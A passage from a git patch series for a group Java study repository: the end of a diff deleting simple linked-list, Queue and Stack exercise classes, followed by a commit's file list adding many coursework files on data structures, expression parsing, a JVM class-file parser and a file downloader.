-			   n=null;
-			   return re;
-		   }
-		   front=n;
-		   n=n.next;
-	   }
-   }
-   public static void main(String[] args)
-   {
-	   LinkListt l=new LinkListt();
-	   for(int i=0;i<5;i++)
-	   {
-		   l.add(i);
-	   }
-	   l.add(3,8);
-	   for(int i=1;i<=6;i++)
-	   {
-		   System.out.println(l.get(i));
-	   }
-	   //System.out.println(l.size());
-	   l.addFirst(99);
-	   for(int i=1;i<=7;i++)
-	   {
-		   System.out.println(l.get(i));
-	   }
-	   l.removeFirst();
-	   for(int i=1;i<=6;i++)
-	   {
-		   System.out.println(l.get(i));
-	   }
-	   System.out.println(l.size());
-   }
-}
-
diff --git a/group23/810181789/src/firstday/Queue.java b/group23/810181789/src/firstday/Queue.java
deleted file mode 100644
index 807911f3f3..0000000000
--- a/group23/810181789/src/firstday/Queue.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package firstday;
-import firstday.LinkListt;
-public class Queue {
-    private LinkListt l=new LinkListt();
-    public Object deQueue()
-    {
-    	return l.removeFirst();
-    }
-    public void enQueue(Object o)
-    {
-    	l.add(o);
-    }
-    public boolean isEmpty()
-    {
-    	if(l.head==null)
-    	{
-    		return true;
-    	}
-    	else
-    	{
-    		return false;
-    	}
-    }
-    public int size()
-    {
-    	return l.size();
-    }
-    public static void main(String[] args)
-    {
-    	Queue q=new Queue();
-    	for(int i=0;i<4;i++)
-    	{
-    		q.enQueue(i);
-    	}
-    	System.out.println(q.size());
-    	for(int i=0;i<4;i++)
-    	{
-    		System.out.println(q.deQueue());
-    	}
-    	System.out.println(q.size());
-    	//System.out.println(q.isEmpty());
-    }
-}
diff --git a/group23/810181789/src/firstday/Stack.java b/group23/810181789/src/firstday/Stack.java
deleted file mode 100644
index abe43a4cac..0000000000
--- a/group23/810181789/src/firstday/Stack.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package firstday;
-import firstday.ArrayListt;
-public class Stack {
-     private ArrayListt a=new ArrayListt();
-     public Object peek()
-     {
-    	 return a.get(a.size()-1);
-     }
-     public Object pop()
-     {
-    	 return a.remove(a.size()-1);
-     }
-     public void push(Object o)
-     {
-    	 a.add(o);
-     }
-     public boolean isEmpty()
-     {
-    	 if(a.size()==0)
-    	 {
-    		 return true;
-    	 }
-    	 else
-    	 {
-    		 return false;
-    	 }
-     }
-     public int size()
-     {
-    	 return a.size();
-     }
-     public static void main(String[] args)
-     {
-    	 Stack s=new Stack();
-    	 for(int i=0;i<4;i++)
-    	 {
-    		 s.push(i);
-    	 }
-    	 s.pop();
-    	 System.out.println(s.peek());
-    	 System.out.println(s.size());
-     }
-}
diff --git a/group23/group23.md b/group23/group23.md
deleted file mode 100644
index 8b13789179..0000000000
--- a/group23/group23.md
+++ /dev/null
@@ -1 +0,0 @@
-

From a3165590ec0dea6ee6f099b83a1b55e6cc23e290 Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Mon, 8 May 2017 00:21:58 +0800
Subject: [PATCH 236/262] 6666666

---
 group23/1028361767/1028361767.md              |   1 +
 .../coderising/download/DownloadThread.java   |  31 ++
 .../coderising/download/FileDownloader.java   | 104 ++++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  26 +
 .../download/api/ConnectionException.java     |   8 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  62 +++
 .../download/impl/ConnectionManagerImpl.java  |  26 +
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java | 181 +++++++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/BinaryTreeNode.java  |  97 ++++
 .../src/com/coding/basic/Iterator.java        |   8 +
 .../src/com/coding/basic/List.java            |  13 +
 .../src/com/coding/basic/Queue.java           |  24 +
 .../src/com/coding/basic/array/ArrayList.java |  83 ++++
 .../src/com/coding/basic/array/ArrayUtil.java | 210 +++++++++
 .../coding/basic/linklist/LRUPageFrame.java   | 112 +++++
 .../basic/linklist/LRUPageFrameTest.java      |  57 +++
 .../com/coding/basic/linklist/LinkedList.java | 402 ++++++++++++++++
 .../com/coding/basic/queue/CircleQueue.java   |  57 +++
 .../basic/queue/EmptyQueueException.java      |  14 +
 .../basic/queue/FullQueueException.java       |  14 +
 .../src/com/coding/basic/queue/Josephus.java  |  32 ++
 .../com/coding/basic/queue/JosephusTest.java  |  28 ++
 .../src/com/coding/basic/queue/Queue.java     |  61 +++
 .../basic/queue/QueueWithTwoStacks.java       |  54 +++
 .../com/coding/basic/stack/QuickMinStack.java |  45 ++
 .../src/com/coding/basic/stack/Stack.java     |  47 ++
 .../src/com/coding/basic/stack/StackUtil.java | 111 +++++
 .../basic/stack/StackWithTwoQueues.java       |  34 ++
 .../basic/stack/TwoStackInOneArray.java       | 108 +++++
 .../coding/basic/stack/expr/InfixExpr.java    | 159 +++++++
 .../basic/stack/expr/InfixExprTest.java       |  48 ++
 .../basic/stack/expr/InfixToPostfix.java      |  44 ++
 .../coding/basic/stack/expr/PostfixExpr.java  |  62 +++
 .../basic/stack/expr/PostfixExprTest.java     |  42 ++
 .../coding/basic/stack/expr/PrefixExpr.java   |  85 ++++
 .../basic/stack/expr/PrefixExprTest.java      |  45 ++
 .../com/coding/basic/stack/expr/Token.java    |  50 ++
 .../coding/basic/stack/expr/TokenParser.java  |  64 +++
 .../basic/stack/expr/TokenParserTest.java     |  41 ++
 .../src/com/coding/me/Palindrome.java         |  82 ++++
 .../me/book/algorithms/BasicBinarySearch.java |  12 +
 .../me/leetcode/algorithms/AddTwoNums.java    |  84 ++++
 .../algorithms/LongestCommonPrefix.java       | 223 +++++++++
 ...stSubstringWithoutRepeatingCharacters.java | 229 +++++++++
 .../algorithms/MedianOfTwoSortedArrays.java   | 102 ++++
 .../leetcode/algorithms/OptimalDivision.java  |  76 +++
 .../algorithms/StudentAttendanceRecord1.java  |  46 ++
 .../coding/me/leetcode/algorithms/TwoSum.java | 102 ++++
 .../test/com/coding/basic/TestArrayList.java  |  61 +++
 .../com/coding/basic/TestBinaryTreeNode.java  |  37 ++
 .../test/com/coding/basic/TestLinkedList.java | 176 +++++++
 .../com/coding/basic/stack/TestStackUtil.java |  63 +++
 .../src/me/practise/chapter2.java             |  44 ++
 .../src/practise/chapter1/HelloService.java   |  35 ++
 .../practise/chapter1/HelloWorldService.java  |   9 +
 .../learn-spring/src/test/practise/Test1.java |  39 ++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  89 ++++
 .../coderising/jvm/attr/LineNumberTable.java  |  51 ++
 .../jvm/attr/LocalVariableItem.java           |  39 ++
 .../jvm/attr/LocalVariableTable.java          |  40 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java | 121 +++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 +++++
 .../com/coderising/jvm/cmd/CommandParser.java | 138 ++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 +++
 .../coderising/jvm/constant/ClassInfo.java    |  28 ++
 .../coderising/jvm/constant/ConstantInfo.java |  41 ++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  58 +++
 .../jvm/constant/MethodRefInfo.java           |  60 +++
 .../jvm/constant/NameAndTypeInfo.java         |  50 ++
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../coderising/jvm/constant/StringInfo.java   |  31 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  36 ++
 .../src/com/coderising/jvm/field/Field.java   |  45 ++
 .../jvm/loader/ByteCodeIterator.java          |  69 +++
 .../jvm/loader/ClassFileLoader.java           |  99 ++++
 .../jvm/loader/ClassFileParser.java           | 134 ++++++
 .../src/com/coderising/jvm/method/Method.java |  84 ++++
 .../jvm/print/ClassFilePrinter.java           |  54 +++
 .../jvm/print/ConstantPoolPrinter.java        |  77 +++
 .../jvm/test/ClassFileloaderTest.java         | 353 ++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../src/com/skomefen/list/ArrayList.java      |  83 ++++
 .../com/skomefen/list/ArrayListIterator.java  |  25 +
 .../src/com/skomefen/list/BinaryTreeNode.java |  32 ++
 .../src/com/skomefen/list/Iterator.java       |   7 +
 .../src/com/skomefen/list/LinkedList.java     | 252 ++++++++++
 .../com/skomefen/list/LinkedListiterator.java |  25 +
 .../day3-11/src/com/skomefen/list/List.java   |   9 +
 .../day3-11/src/com/skomefen/list/Queue.java  |  26 +
 .../day3-11/src/com/skomefen/list/Stack.java  |  28 ++
 .../day3-11/src/com/skomefen/test/test.java   | 109 +++++
 .../src/com/coderising/array/ArrayUtil.java   | 117 +++++
 .../com/coderising/litestruts/StrutsTest.java |  54 +++
 .../coderising/download/DownloadThread.java   |  65 +++
 .../coderising/download/FileDownloader.java   |  89 ++++
 .../download/FileDownloaderTest.java          |  58 +++
 .../coderising/download/api/Connection.java   |  24 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         | 143 ++++++
 .../download/impl/ConnectionManagerImpl.java  |  16 +
 .../src/junit/test/ConnectionImplTest.java    |  92 ++++
 .../junit/test/ConnectionManagerImplTest.java |  31 ++
 .../src/junit/test/DownloadThreadTest.java    |  77 +++
 .../src/com/coding/datastructs/ArrayList.java |  98 ++++
 .../src/com/coding/datastructs/Iterator.java  |   7 +
 .../com/coding/datastructs/LinkedList.java    | 229 +++++++++
 .../src/com/coding/datastructs/List.java      |   9 +
 .../com/coding/datastructs/MyIterator.java    |  35 ++
 .../src/com/coding/datastructs/Queue.java     |  30 ++
 .../src/com/coding/datastructs/Stack.java     |  33 ++
 .../src/com/coding/test/ArrayListTest.java    |  32 ++
 .../src/com/coding/test/LinkedListTest.java   |  28 ++
 .../src/com/coding/test/QueueTest.java        |  22 +
 .../src/com/coding/test/StackTest.java        |  25 +
 .../com/coding/datastructs/ArrayUtil.java"    | 141 ++++++
 .../src/com/coding/test/ArrayUtilTest.java"   |  86 ++++
 .../coderising/litestruts/LoginAction.java"   |  35 ++
 .../com/coderising/litestruts/Struts.java"    | 122 +++++
 .../coderising/litestruts/StrutsTest.java"    |  43 ++
 .../src/com/coderising/litestruts/Test.java"  |  94 ++++
 .../src/com/coderising/litestruts/View.java"  |  23 +
 .../01_5BasicDS/src/main/ArrayList.java       |  82 ++++
 .../01_5BasicDS/src/main/BinaryTreeNode.java  |  65 +++
 .../01_5BasicDS/src/main/Iterator.java        |   6 +
 .../01_5BasicDS/src/main/LinkedList.java      | 114 +++++
 .../01_5BasicDS/src/main/List.java            |   9 +
 .../01_5BasicDS/src/main/Queue.java           |  22 +
 .../01_5BasicDS/src/main/Stack.java           |  25 +
 .../01_5BasicDS/src/test/ArrayListTest.java   | 144 ++++++
 .../src/test/BinaryTreeNodeTest.java          |  25 +
 .../01_5BasicDS/src/test/LinkedListTest.java  | 126 +++++
 .../01_5BasicDS/src/test/QueueTest.java       |  50 ++
 .../01_5BasicDS/src/test/StackTest.java       |  67 +++
 .../01_5BasicDS/src/utils/ListUtils.java      |  11 +
 .../02_ArrayUtil/src/main/ArrayUtil.java      | 209 ++++++++
 .../02_ArrayUtil/src/test/ArrayUtilTest.java  | 101 ++++
 .../src/main/Iterator.java                    |   6 +
 .../src/main/LinkedList.java                  | 256 ++++++++++
 .../src/main/List.java                        |   9 +
 .../src/test/LinkedListTest.java              | 251 ++++++++++
 .../src/utils/ListUtils.java                  |  11 +
 .../04_LRU/src/main/LRUPageFrame.java         | 117 +++++
 .../04_LRU/src/test/LRUPageFrameTest.java     |  35 ++
 .../05_StackUtil/src/main/ArrayList.java      |  75 +++
 .../05_StackUtil/src/main/Iterator.java       |   6 +
 .../05_StackUtil/src/main/ListUtils.java      |  11 +
 .../05_StackUtil/src/main/Stack.java          |  25 +
 .../05_StackUtil/src/main/StackUtil.java      | 110 +++++
 .../05_StackUtil/src/test/StackUtilTest.java  |  93 ++++
 .../01_litestruts/src/main/LoginAction.java   |  36 ++
 .../01_litestruts/src/main/Struts.java        |  71 +++
 .../01_litestruts/src/main/View.java          |  27 ++
 .../01_litestruts/src/test/StrutsTest.java    |  55 +++
 .../02_downloader/src/api/Connection.java     |  23 +
 .../src/api/ConnectionException.java          |   6 +
 .../src/api/ConnectionManager.java            |  10 +
 .../src/api/DownloadListener.java             |   5 +
 .../src/impl/ConnectionImpl.java              |  54 +++
 .../src/impl/ConnectionManagerImpl.java       |  15 +
 .../src/main/DownloadThread.java              |  50 ++
 .../src/main/FileDownloader.java              |  73 +++
 .../src/test/DownloaderTest.java              |  21 +
 .../src/com/xiaol/study/ArrayList.java        |  94 ++++
 .../src/com/xiaol/study/ArrayListTest.java    |  82 ++++
 .../src/com/xiaol/study/BinaryTreeNode.java   |  59 +++
 .../com/xiaol/study/BinaryTreeNodeTest.java   |  82 ++++
 .../src/com/xiaol/study/Iterator.java         |  12 +
 .../src/com/xiaol/study/LinkedList.java       | 253 ++++++++++
 .../src/com/xiaol/study/LinkedListTest.java   | 131 +++++
 .../src/com/xiaol/study/List.java             |  13 +
 .../src/com/xiaol/study/Queue.java            |  41 ++
 .../src/com/xiaol/study/QueueTest.java        |  64 +++
 .../src/com/xiaol/study/Stack.java            |  49 ++
 .../src/com/xiaol/study/StackTest.java        |  68 +++
 .../381519422/array/src/array/ArrayUtil.java  | 354 ++++++++++++++
 .../array/src/array/ArrayUtilTest.java        | 116 +++++
 .../java/com/xiaol/download/DownloadDemo.java |  53 +++
 .../com/xiaol/download/DownloadThread.java    |  37 ++
 .../com/xiaol/download/FileDownloader.java    | 133 ++++++
 .../xiaol/download/FileDownloaderTest.java    |  60 +++
 .../com/xiaol/download/api/Connection.java    |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../xiaol/download/api/ConnectionManager.java |  10 +
 .../xiaol/download/api/DownloadListener.java  |   5 +
 .../xiaol/download/impl/ConnectionImpl.java   |  60 +++
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 .../java/com/xiaol/study/LoginAction.java     |  36 ++
 .../src/main/java/com/xiaol/study/Struts.java | 176 +++++++
 .../main/java/com/xiaol/study/StrutsTest.java |  43 ++
 .../src/main/java/com/xiaol/study/View.java   |  26 +
 .../jvm/loader/ClassFileLoader.java           |  81 ++++
 .../jvm/test/ClassFileloaderTest.java         |  92 ++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++
 .../563253496/week4_lru/src/LRUPageFrame.java | 135 ++++++
 .../week4_lru/src/LRUPageFrameTest.java       |  34 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 +++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  24 +
 .../coderising/jvm/constant/ConstantInfo.java |  29 ++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++
 .../jvm/constant/MethodRefInfo.java           |  55 +++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 +
 .../com/coderising/jvm/constant/UTF8Info.java |  32 ++
 .../jvm/loader/ByteCodeIterator.java          |  54 +++
 .../jvm/loader/ClassFileLoader.java           | 140 ++++++
 .../jvm/loader/ClassFileParser.java           | 112 +++++
 .../jvm/test/ClassFileloaderTest.java         | 202 ++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  31 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../week5_stack/src/stack/Stack.java          |  63 +++
 .../week5_stack/src/stack/StackUtil.java      | 129 +++++
 .../week5_stack/src/test/StackUtilTest.java   |  95 ++++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java | 142 ++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  83 ++++
 .../jvm/attr/LocalVariableItem.java           |  39 ++
 .../jvm/attr/LocalVariableTable.java          |  58 +++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java | 113 +++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 +++++
 .../com/coderising/jvm/cmd/CommandParser.java | 130 +++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 +++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +
 .../coderising/jvm/constant/ConstantInfo.java |  29 ++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++
 .../jvm/constant/MethodRefInfo.java           |  55 +++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 +
 .../com/coderising/jvm/constant/UTF8Info.java |  32 ++
 .../src/com/coderising/jvm/field/Field.java   |  44 ++
 .../jvm/loader/ByteCodeIterator.java          |  65 +++
 .../jvm/loader/ClassFileLoader.java           | 140 ++++++
 .../jvm/loader/ClassFileParser.java           | 170 +++++++
 .../src/com/coderising/jvm/method/Method.java |  66 +++
 .../jvm/test/ClassFileloaderTest.java         | 354 ++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../coderising/download/DownloadThread.java   |  20 +
 .../coderising/download/FileDownloader.java   |  73 +++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 ++
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java |  34 ++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/List.java            |   9 +
 .../src/com/coding/basic/Queue.java           |  19 +
 .../src/com/coding/basic/array/ArrayList.java |  35 ++
 .../src/com/coding/basic/array/ArrayUtil.java |  96 ++++
 .../coding/basic/linklist/LRUPageFrame.java   | 164 +++++++
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++
 .../com/coding/basic/linklist/LinkedList.java | 125 +++++
 .../src/com/coding/basic/stack/Stack.java     |  64 +++
 .../src/com/coding/basic/stack/StackUtil.java | 136 ++++++
 .../com/coding/basic/stack/StackUtilTest.java |  78 +++
 .../coding/basic/stack/expr/InfixExpr.java    | 112 +++++
 .../basic/stack/expr/InfixExprTest.java       |  48 ++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  72 +++
 .../coderising/jvm/attr/LineNumberTable.java  |  55 +++
 .../jvm/attr/LocalVariableItem.java           |  39 ++
 .../jvm/attr/LocalVariableTable.java          |  42 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java | 102 ++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 +++++
 .../com/coderising/jvm/cmd/CommandParser.java |  85 ++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 +++
 .../coderising/jvm/constant/ClassInfo.java    |  28 ++
 .../coderising/jvm/constant/ConstantInfo.java |  40 ++
 .../coderising/jvm/constant/ConstantPool.java |  31 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  58 +++
 .../jvm/constant/MethodRefInfo.java           |  60 +++
 .../jvm/constant/NameAndTypeInfo.java         |  51 ++
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../coderising/jvm/constant/StringInfo.java   |  32 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  37 ++
 .../src/com/coderising/jvm/field/Field.java   |  50 ++
 .../jvm/loader/ByteCodeIterator.java          |  57 +++
 .../jvm/loader/ClassFileLoader.java           | 140 ++++++
 .../jvm/loader/ClassFileParser.java           |  62 +++
 .../src/com/coderising/jvm/method/Method.java |  80 ++++
 .../jvm/print/ClassFilePrinter.java           |  54 +++
 .../jvm/print/ConstantPoolPrinter.java        |  25 +
 .../jvm/test/ClassFileloaderTest.java         | 354 ++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../coderising/download/DownloadThread.java   |  20 +
 .../coderising/download/FileDownloader.java   |  73 +++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 ++
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java |  34 ++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/List.java            |   9 +
 .../src/com/coding/basic/array/ArrayList.java |  35 ++
 .../src/com/coding/basic/array/ArrayUtil.java |  96 ++++
 .../coding/basic/linklist/LRUPageFrame.java   |  57 +++
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++
 .../com/coding/basic/linklist/LinkedList.java | 125 +++++
 .../com/coding/basic/queue/CircleQueue.java   |   5 +
 .../src/com/coding/basic/queue/Josephus.java  |  19 +
 .../com/coding/basic/queue/JosephusTest.java  |  27 ++
 .../src/com/coding/basic/queue/Queue.java     |  61 +++
 .../basic/queue/QueueWithTwoStacks.java       |  40 ++
 .../src/com/coding/basic/stack/Stack.java     |  64 +++
 .../src/com/coding/basic/stack/StackUtil.java | 136 ++++++
 .../com/coding/basic/stack/StackUtilTest.java |  65 +++
 .../coding/basic/stack/expr/InfixExpr.java    |  15 +
 .../basic/stack/expr/InfixExprTest.java       |  52 ++
 .../basic/stack/expr/InfixToPostfix.java      | 110 +++++
 .../coding/basic/stack/expr/PostfixExpr.java  |  95 ++++
 .../basic/stack/expr/PostfixExprTest.java     |  41 ++
 .../coding/basic/stack/expr/PrefixExpr.java   |  98 ++++
 .../basic/stack/expr/PrefixExprTest.java      |  45 ++
 .../com/coding/basic/stack/expr/Token.java    |  50 ++
 .../coding/basic/stack/expr/TokenParser.java  |  57 +++
 .../basic/stack/expr/TokenParserTest.java     |  41 ++
 .../week8_datastructure/src/CircleQueue.java  |  53 +++
 .../week8_datastructure/src/Josephus.java     |  47 ++
 .../week8_datastructure/src/JosephusTest.java |  28 ++
 .../week8_datastructure/src/Queue.java        |  62 +++
 .../src/QueueWithTwoStacks.java               |  60 +++
 .../src/QuickMinStack.java                    |  40 ++
 .../src/StackWithTwoQueues.java               |  53 +++
 .../src/TwoStackInOneArray.java               | 100 ++++
 .../src/com/coderising/array/ArrayUtil.java   |  96 ++++
 .../coderising/download/DownloadThread.java   |  20 +
 .../coderising/download/FileDownloader.java   |  73 +++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 ++
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java |  37 ++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/ArrayList.java       |  32 ++
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/LinkedList.java      | 265 +++++++++++
 .../565832157/src/com/coding/basic/List.java  |   9 +
 .../565832157/src/com/coding/basic/Queue.java |  19 +
 .../565832157/src/com/coding/basic/Stack.java |  22 +
 group23/601689050/.gitattributes              |  17 +
 .../1List&BinaryTreeNode/ArrayList.java       |  58 +++
 .../1List&BinaryTreeNode/BinaryTreeNode.java  |  50 ++
 .../1List&BinaryTreeNode/Iterator.java        |   7 +
 .../1List&BinaryTreeNode/LinkedList.java      | 117 +++++
 .../601689050/1List&BinaryTreeNode/List.java  |  10 +
 .../601689050/1List&BinaryTreeNode/Queue.java |  45 ++
 .../601689050/1List&BinaryTreeNode/Stack.java |  39 ++
 .../JVM/loader/ClassFileLoader.java           |  65 +++
 .../JVM/test/loader/ClassFileLoaderTest.java  |  86 ++++
 .../JVM/test/loader/EmployeeV1.java           |  28 ++
 .../601689050/4weekLRU&JVM/LRU/Iterator.java  |   5 +
 .../4weekLRU&JVM/LRU/LRUPageFrame.java        | 117 +++++
 .../4weekLRU&JVM/LRU/LRUPageFrameTest.java    |  29 ++
 .../4weekLRU&JVM/LRU/LinkedList.java          | 313 ++++++++++++
 group23/601689050/4weekLRU&JVM/LRU/List.java  |   7 +
 group23/601689050/5weekStack/stack/Stack.java |  70 +++
 .../601689050/5weekStack/stack/StackUtil.java | 133 ++++++
 .../5weekStack/test/StackUtilTest.java        |  69 +++
 .../601689050/6weekInfixExpr/InfixExpr.java   |  61 +++
 .../6weekInfixExpr/InfixExprTest.java         |  50 ++
 group23/601689050/6weekInfixExpr/Stack.java   |  50 ++
 group23/601689050/6weekInfixExpr/Token.java   |  46 ++
 .../601689050/6weekInfixExpr/TokenParser.java |  47 ++
 group23/601689050/7weekExpr2/InfixExpr.java   |  61 +++
 .../601689050/7weekExpr2/InfixToPostfix.java  |  35 ++
 group23/601689050/7weekExpr2/PostfixExpr.java |  45 ++
 .../601689050/7weekExpr2/PostfixExprTest.java |  37 ++
 group23/601689050/7weekExpr2/PrefixExpr.java  |  51 ++
 .../601689050/7weekExpr2/PrefixExprTest.java  |  42 ++
 group23/601689050/7weekExpr2/Stack.java       |  50 ++
 group23/601689050/7weekExpr2/Token.java       |  49 ++
 group23/601689050/7weekExpr2/TokenParser.java |  47 ++
 group23/601689050/8weekQueue/CircleQueue.java |  44 ++
 group23/601689050/8weekQueue/Josephus.java    |  50 ++
 group23/601689050/8weekQueue/Queue.java       |  55 +++
 .../8weekQueue/QueueWithTwoStacks.java        |  47 ++
 .../601689050/9weekStack/QuickMinStack.java   |  50 ++
 .../9weekStack/StackWithTwoQueues.java        |  52 ++
 .../9weekStack/TwoStackInOneArray.java        |  81 ++++
 group23/609041842/src/code/ArrayList.java     |  49 ++
 group23/609041842/src/code/LinkedList.java    |  87 ++++
 group23/609041842/src/code/Queue.java         |  17 +
 group23/609041842/src/code/Stack.java         |  30 ++
